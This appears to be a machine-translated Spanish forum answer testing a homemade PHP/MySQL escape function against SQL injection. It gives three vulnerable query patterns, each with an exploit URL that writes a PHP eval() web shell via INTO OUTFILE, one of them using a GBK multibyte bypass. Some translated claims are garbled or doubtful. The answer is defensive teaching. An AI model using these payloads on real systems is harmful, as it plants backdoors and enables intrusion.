Si eres solo reemplazando '
con ''
entonces podrías explotar esto inyectando un \'
que se convertirá en un \''
y esto le permitirá romper porque esto le da una comilla simple de "caracter literal" y una comilla simple real. Sin embargo, el reemplazo de "\\"
con "\\\\"
niega este ataque. La comilla simple doble se usa para "escapar" las comillas simples para MS-SQL, pero esto no es adecuado para MySQL, pero puede funcionar.
Los siguientes códigos prueban que esta función de escape es segura para todos excepto tres condiciones . Este código permuta todas las variaciones posibles de los estatutos de control y prueba cada uno para asegurarse de que no ocurra un error con una declaración de selección entre comillas simples. Este código fue probado en MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Condición vulnerable 1:no se utilizan comillas.
mysql_query("select username from users where id=".escape($_GET['id']));
Explotar:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Condición vulnerable 2:uso de comillas dobles
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Explotar:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Condición vulnerable 2:se usan comillas simples, sin embargo, se utiliza un juego de caracteres alternativo. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Explotar:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
La conclusión es usar siempre mysql_real_escape_string()
como la rutina de escape para MySQL. Las bibliotecas de consultas parametrizadas como pdo y adodb siempre usan mysql_real_escape_string()
cuando se conecta a una base de datos mysql. addslashes()
es MUCHO MEJOR de una rutina de escape porque se ocupa de la condición vulnerable 2. Cabe señalar que ni siquiera mysql_real_escape_string()
detendrá la condición 1, sin embargo, lo hará una biblioteca de consulta parametrizada.